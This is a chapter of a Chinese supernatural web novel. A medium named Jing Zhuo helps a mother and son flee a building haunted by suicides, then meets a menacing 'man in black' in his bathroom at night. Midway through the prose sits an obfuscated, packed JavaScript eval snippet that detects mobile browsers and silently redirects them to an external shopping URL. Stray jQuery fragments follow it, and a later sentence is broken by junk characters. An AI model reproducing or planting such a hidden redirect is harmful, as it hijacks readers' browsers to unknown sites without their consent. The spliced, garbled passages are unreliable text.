和志拓腿脚发软，扶住墙坐到地上，拉过垃圾桶，呕出了刚才吃下的几口饭，新鲜热乎：“她的，她的骨头都……”
和志真纪本来看着刚打开的窗帘，眼神略微发直，随后像延迟了一样，慢慢挪到窗边，终于也惊吓着坐回了椅子。
井琢翻出刚刚查证的手机页面，给和志拓看。
和志拓看了，新的恐惧复加，继续干呕了起来。
不知为何，平永谷团地5号楼每年都会吸引一些人跑来这里跳楼，时间一长，竟变得小有名气。
因为自杀者不从居住的房间里跳，此栋楼便神奇地没有一户“凶宅”，还连带着整个社区的房价都有所下降。
这里本来就是一个小众自杀圣地——井琢想传达的是这个，给和志拓看的也是相关新闻，不过好像造成了反效果。
和志拓斜在地上，身心皆受到摧残，就这样也抢过井琢的手机看了半天，井琢给他抽了两张桌上的纸巾。
一旁的和志真纪还暂时无法从情绪中脱身。
井琢离开椅子，不去窗边，也坐到了地上，替他们报了警。
自己和灵异的东西打了许多交道，依旧颇为抵触见到血肉。真的也好，幻影也罢，能不看就不看。
等恢复得差不多了，和志拓挣扎着向妈妈喊：“搬家吧！不住这了！我不要住了！”
他很少对妈妈吼。
和志真纪平视着外面，好像还是有点不舍，嘴上不知在嘟囔着什么。
井琢又把新闻给她看。
“好，我们明天，找中介……”和志真纪终于颤抖出声。
“别明天了，就现在！我马上就给中介打电话，明天就去看房，这两天住酒店！这鬼地方一会都呆不下去了……”
和志拓拿纸随便擦了擦嘴，刚要打电话，眼神扫过井琢：“那个，井琢，你……会看房子吗？”
井琢：“嗯？”
“到现场看那个房子对不对劲的，看你说的那个空间，气场。”
“哦，气场能大致看看，但也有气场正常的凶宅。”
“正常会怎样？”
“不怎样，就是你和曾经的尸体躺在一个地方我也看不出来。”
好饿，井琢想撤了。
“现在管它凶宅不凶宅的，没怪东西就行，这次我真怕了！明天我们专业下午有一节课，你上午有别的课吗？”
“……没有。”
“我们八点半在那棵树……小公园的秋千那见面吧，外勤费给足。”和志拓不管自己可怜的零花钱了，找个正常地方安心住着才是正道。
“行吧。”工作日里唯一的懒觉泡汤，井琢瘪嘴，答应了。
而且和别人多打交道的时候，黑衣男确实不会做出太过于靠近的行为。
虽然很麻烦就是了。
再看向厨房，玻璃门后的黑影已经消失不见。
和志拓看妈妈顺顺气，好像缓过来了，便开始给房产中介打电话咨询。
刚说没几句，和志真纪硬在一旁掺和进去，也加入了电话讨论。
井琢闲下来，壮着胆子走进厨房看了一眼。
只剩盛着无味咖喱的铁锅。
无论如何，黑衣男是从小的心理阴影，井琢本能地害怕这个东西，简直可以用束手无策来形容。
所谓的空间扭曲、气场变化，都不会在他身上出现，他就像一片树叶一样，无声飘落在任意的地方。
刚才的雷声估计是外面那位弄的，黑衣男从来只会随机现身，用他可怖的样子吓井琢，没搞过别的。
他给井琢的感觉就是“死”，可每次井琢都活着。
别看井琢常年自然、主动、被动接触大鬼小鬼，不管好坏，不管有害无害，井琢都带着一丝抗拒心理，还有一丝害怕。
但无论是抗拒还是害怕，都远远抵不过现实。
通灵体质的现实，谋生的现实。
井琢可以看出，今天和志拓已经认定自己在“灵”方面的能力，对他产生了近似盲目的依赖感。可其实每一步里，井琢心中那些万年不变的慌乱依旧在胡乱扰动。
真实的井琢也在依赖那个外在表演得波澜不惊的井琢。
而波澜不惊的井琢受过大鬼小鬼的历练，多年来坚持表演。
如黑衣男，只要见到，波澜不惊的井琢接着就会维持正常的动作和表情，想到：
下一秒会死吗？
他什么时候动手？
哈哈，人总是要死的。
真实的井琢就缩在内心深处边喊怕，边看着波澜不惊的井琢逞强表演。
然后，井琢就成为了表演的惯犯。
再说回那雷声，仔细听的话并不单纯，其中夹杂了类似于人声的“喂——”。
声音拉得很长很长，异常低沉，初期根本不可能发现，井琢也是在雷声将要消失时才听出的。
像是一种隐秘的召唤，召唤着身处5号楼的人们，和即将前往5号楼的人们。
于是今天，有人接受了召唤。
井琢想通后一阵后怕。
和志真纪全程无察觉雷声的怪异，井琢是仗着自己的体质听到了。而和志拓没有听到，说明他还没有被这里的环境影响。
在这里待久了，又会发生什么呢？
问完中介，母子二人开始收拾去酒店的行李。
和志拓略微不舍地拉开钱包，刚点了两张一千圆，被妈妈看见按下，成功守住了零花。
井琢不管是谁的钱，给了就行，马上告退了。
下楼时，警察打回了电话，井琢正好出门遇到，简单做了几句笔录。
天亮了些，架势似乎是要放晴。
外面的那一位，到底是哪一位，井琢还难以判断。社区周围一大片地域都有他的气息。
具体来说，以5号楼为中心，到最远出能看到的山那边，目之所及，或多或少都有分布，再远就超出感官范围了，实在难以判断源头。不过大部分地方气息淡薄，近乎于没有影响，如比就在旁边的1号楼。
说这是一个“东西”控制了这片区域的气息，那将会极其恐怖。所以井琢推断，这应该只是当地独有的气息，而那一位将自己伪装在整片地域中，做足了隐藏措施。
不清楚它的真实身份也是一种好处，少知少怪。
终于前往心心念念的超市，井琢今天挣了钱，多买一份炸物，还买了一大盒30种类混合的果蔬汁。
平常蔬菜水果太贵，买得少，常买果蔬汁，只敢买十几种种类还加了糖的，这次奢侈一下。
有一个健康的身体，就不必生病搞出多余的花费。
井琢健康饮食，健康娱乐，满意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352969|199634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地度过了剩余的半天。
……
可能是果蔬汁喝多了，井琢少见地在半夜醒来。
刚才睡得正酣，意识一片混沌，记忆还停留在刚才住上别墅的梦里。
可惜梦不是什么好梦，别墅里净鬼。
不想在租的房子里买新床，地板又是木的，井琢就买了一个不薄不厚的床垫来确定睡觉的位置。
逃离梦魇，井琢在地上爬了几步才晕乎乎地扶墙站起来，担心开灯的强光驱散睡意，房子也小，就在能勉强看清大件家具形状的黑暗里摸到了厕所。
坐在马桶上，睡意止不住地缓慢流走，井琢手捧住脸，想再抓住一点睡意。
今天发生的事带着清醒一点一点上涌，井琢想赶紧结束厕所之旅回到床垫上。
忽然，在井琢的指缝间，有一个东西和脑海里的黑影重叠了。
今天见得多，自然禁不住想起。
脑海里的黑影是阴魂不散的黑衣男。
指缝间的黑影，也是黑衣男。
指缝对着的，是厕所的角落。
厕所的角落，站着黑衣男。
几个等式一连，井琢呼吸都停止了。
井琢忙把指缝合上，可是恐怖的画面早已印在眼中。
黑衣男站在厕所光线最少的角落，马桶一旁有扇小细窗，外面依稀的亮光将他的轮廓勾勒了出来。
细节无法勾勒，还是看不清脸。
但那将要突破天花板的高度带来的强烈压迫感，将井琢扣在了原地。
真实的井琢已经宕机，波澜不惊的井琢也有些害怕地想：多给一秒，我想提上裤子再死啊，我#.%-y&h=f
也宕机了。
周围安静到空气压迫耳膜，乃至幻听出尖锐的杂音。
不知道过了多长时间，也许是十五秒，也许是一分钟，井琢眯着眼，不去看角落，手脚终于跟上思考，撕纸提裤等一系列动作在肉眼难以察觉的颤抖下完成。
厕所门就在前方，来，动一下，迈步，对。
井琢欺骗并鼓励自己。
一只脚将将踏出厕所时，厕所里突然传来了声音。
“啊……”黑衣男发出一种怪声。
这么多年来，他第一次发出声音。
说是声音，压根不像从喉咙里发出的，只是一个单纯不带任何意思的语气词，犹如把一千个人的歇斯底里与欣喜若狂混杂在一起，再经过低沉的模糊处理，古怪又复杂，准确又粗暴地占据了井琢的听感。
他要是完整说一句话，井琢可能会因为理智值归零，一觉醒来出现在精神病院。
井琢早就睡意全无，浑身冷汗，精神高度紧张到马上可以获得休克式睡眠，全身僵硬地向床垫方向走去。
被窝里应该还温着吧，先进去再说。
逃？
他今天都会闪现了。
跑着跑着撞他身上，第二天就有“男子半夜在社区跑步离奇猝死，死状凄惨”的新闻了。
厕所里的东西仿佛知道了什么，“啊”完没再出声。
马上就要碰到床垫了，井琢刚要蹲下，脑内突然又传来一阵高频刺耳的声音，风暴般席卷意识，井琢一下栽倒在了床上。
……嗯，这声音？
来不及多想，井琢获得了真正的休克式睡眠。